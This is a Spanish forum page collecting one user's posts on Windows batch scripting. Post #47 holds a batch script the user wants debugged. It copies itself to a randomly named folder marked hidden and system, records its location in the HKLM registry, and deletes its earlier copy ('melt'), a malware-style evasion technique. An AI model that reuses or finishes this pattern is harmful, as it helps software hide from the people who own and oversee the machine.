Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Meine programmen

#41
Para eso si que tengo solucion. Batch usa un tipo de letra llamado terminal, que tiene cambiados los "caracteres especiales" (ñ, à, ü, í, ¿, etc). En el Mapa de Caracteres, cuando seleccionas como fuente "terminal" te salen todos los caracteres que puedes usar en un batch, simplemente selecciona el que necesites y copialo.  :)
#42
No estoy muy seguro, pero quizas funcione utilizando:
-metadata "iTunMOVI=%iTunMOVI%"
#43
La pena es que tenga solo esos 3 idiomas. Esperemos que añadan algunos, ademas del chino.
#44
Devuelve solamente
Acceso denegado.
A partir de ahi los demas comandos fallan.
#45
Cita de: 0xDani en  1 Enero 2013, 21:32 PM
Hubiera disfrutado mucho viendo como lo destrozan para reciclarlo, y la cara de los presentadores

Totalmente de acuerdo  :xD
#46
Dudas Generales / Re: hoola soy nuevo
1 Enero 2013, 21:46 PM
Empieza con Batch. La mayoria dice que es una perdida de tiempo, pero si no sabes por donde empezar, es lo mejor. No es muy dificil, sirve para tener una base, algunos comandos tienen bastante utilidad y encontraras un tutorial seguro si le das un poco a google u otro buscador.
#47
Hace algo de tiempo que estoy haciendo pruebas e intentando hacer un trozo de codigo que vaya cambiando al programa de carpeta de manera aleatoria. Otros objetivos del codigo son contener la ruta de la carpeta en una clave del registro y que no necesite mas de una sola ventana para funcionar correctamente. Al principio el codigo funciona bien, si no existe la clave del registro la crea con su ruta y vuelve a empezar, y si existe y la ruta que contiene la clave es la misma en la que esta el programa, se copia a una carpeta aleatoria y ejecuta la copia. Si la ruta de la clave es diferente a la del programa, el programa elimina la carpeta de la anterior copia (Cuya ruta esta en la clave) y vuelve a empezar. El problema esta que al volver a empezar despues de haber borrado la anterior copia, el comando REG QUERY deniega el acceso y el programa no puede leer la clave del registro. Habia pensado en usar el comando runas en lugar de un GOTO en el momento de volver a empezar el programa, pero eso implicaria abrir otra ventana. Pongo el codigo abajo, probablemente tenga mas fallos que el que ya nombre. Espero que alguien pueda ayudarme, muchas gracias de antemano.

@ECHO OFF
SetLocal EnableDelayedExpansion
:SeteandoVariables
SET ClaveDelRegistro=HKLM\SOFTWARE
SET ValorDelRegistro=CD
SET MELT=1
SET NAME=

:ModificandoClaveDelRegistro
REG QUERY "%ClaveDelRegistro%" /v "%ValorDelRegistro%">temp
FOR /F "tokens=3*" %%A IN ('findstr REG_SZ "temp"') DO (IF "%%B" NEQ "" SET B= %%B
SET RutaAntigua=%%A!B!)
REG ADD "%ClaveDelRegistro%" /v "%ValorDelRegistro%" /f /d "%~dp0
IF "%RutaAntigua%"=="" (GOTO SeteandoVariables)
IF "%RutaAntigua%" NEQ "%~dp0" (SET MELT=0)
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 ATTRIB -H -S "%RutaAntigua:~0,-1%" /S /D
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 CD "%RutaAntigua%"
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 FOR /R %%A IN (*.*) DO (DEL /P "%%A")
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 cd ..
IF "%RutaAntigua%" NEQ "" IF %MELT%==0 rd /S "%RutaAntigua%"

:EligiendoCarpeta
CD /D %HOMEDRIVE%\
SET /A MAX=%RANDOM% %% 4000 + 1000
FOR /D /R %%A IN (*) DO (SET Carpeta=%%A
SET /A NUM=!RANDOM! %% %MAX% + 1
IF !NUM!==1 (GOTO ComprobandoErrorN1))

:ComprobandoErrorN1
echo %Carpeta%
IF %ERRORLEVEL% NEQ 0 (GOTO EligiendoCarpeta)
IF "%CARPETA%" NEQ "%CARPETA:)=%" (GOTO EligiendoCarpeta)

:GenerandoNombre
SET /A CHARNUM=%RANDOM% %% 25 + 1
SET CONT=0
FOR /L %%A IN (1,1,%CHARNUM%) DO (
SET /A CHAR=!RANDOM! %% 51
FOR %%B IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 0 ! @ # $ ~ ( = [ ] { } . , ; ' - _ +) DO (
SET /A CONT=!CONT!+1
IF !CHAR!==!CONT! SET CHAR=%%B
)
IF !CHAR!==0 (SET CHAR= )
SET NAME=!NAME!!CHAR!
SET CONT=0
)

:Informando
echo %NAME%
echo %MELT%

:ComprobandoMelt
IF %MELT%==0 (echo NO MELT THIS TIME)
IF %MELT%==0 (GOTO SeteandoVariables)

:CreandoCarpeta
cd "%Carpeta%"
md "%NAME%"
ATTRIB +H +S "%NAME%"
cd "%NAME%"

:Copiando
copy "%~f0" "CD.bat"
pause


:AbriendoCopia
"%Carpeta%\%NAME%\CD.bat"
#48
Tambien me ocurre con wmic USERACCOUNT.
#49
Scripting / Re: [Batch] [APORTE] Text Protector
29 Diciembre 2012, 12:30 PM
¡Enlace roto! ¿Es de codigo libre?
#50
Tendrias que usar un bucle FOR. Algo asi

@ECHO OFF
SetLocal EnableDelayedExpansion
SET /P RUTA1=Escoja la carpeta con las imagenes
SET /P RUTA2=Escoja la carpeta de salida
cd %RUTA1%
FOR /D /r %%A IN (*) DO (SET A=%%A
md "!A:%RUTA1%=%RUTA2%!")
FOR /R %%B IN (*.*) DO (SET B=%%B
SET C=!B:.jpg=.png!
"C:\Users\Kurono\My Others\ImageMagick-6.8.0-10\convert.exe" "!B!" "!C:%RUTA1%=%RUTA2%!")
pause
exit



Si no entiendes alguna parte del codigo te lo explicare encantado. El codigo lo probe yo mismo, y va a las mil maravillas.

Recuerda que las dos rutas las tienes que poner igual, es decir no puedes poner la primera sin el ultimo \ y la sengunda con el ultimo \, si no dara error.